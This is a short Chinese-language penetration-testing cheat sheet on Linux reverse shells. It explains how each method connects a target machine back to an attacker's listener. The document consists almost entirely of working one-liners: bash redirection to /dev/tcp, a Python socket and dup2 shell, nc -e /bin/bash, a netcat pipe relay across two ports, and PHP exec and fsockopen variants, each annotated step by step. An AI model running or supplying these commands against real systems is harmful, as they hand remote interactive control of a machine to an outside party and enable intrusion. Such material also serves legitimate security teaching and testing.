linux反弹shell
在渗透过程中,经常需要反弹shell,因此总结一下linux反弹shell的几种姿势:
bash -i >& /dev/tcp/ip/port 0>&1
bash -i 本地打开一个bash
>& 输出重定向,将标准输出和标准错误输出都重定向到远程。
/dev/tcp/ip/port/ 建立一个socket连接到另一个机器上,即远程到其他机器。
0>&1 标准输入重定向到标准输出,但是此时标准输出已经重定向到了/dev/tcp/ip/port这个
文件,即自己的攻击机上,也就意味着输入和输出都在远程上了
/dev/tcp/ linux中一切都是文件,设备也是文件,打开这个文件,发出了一个socket调用,
建立了一个socket连接
python -c //执行后面的代码
"import os,socket,subprocess; // 导入三个库 socket subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); //创建一个使用TCP的socket
s.connect(('ip',port)); // 执行connect函数连接到监听机器的IP和端口
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
//使用os库的dup2函数重定向。
p=subprocess.call(['/bin/bash','-i']);"
//建立一个子进程,传入参数-i,是bash以交互模式启动。
nc -e /bin/bash ip port
-e 在创建连接之后执行的程序,
在创建NC链接之后,执行本地shell(/bin/bash)即完成了反弹
目标机:nc ip1 81 | /bin/bash | nc ip2 82
攻击机:nc -lvvp 81 nc -lvvp 82
管道符号“|” 可以将上一个命令的输出作为下一个命令的输入
将 ip1 81 传过来的命令交给/bin/bash执行,将结果传给 ip2 82
php- 'exec("/bin/bash -i >& /dev/tcp/ip/port")'
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'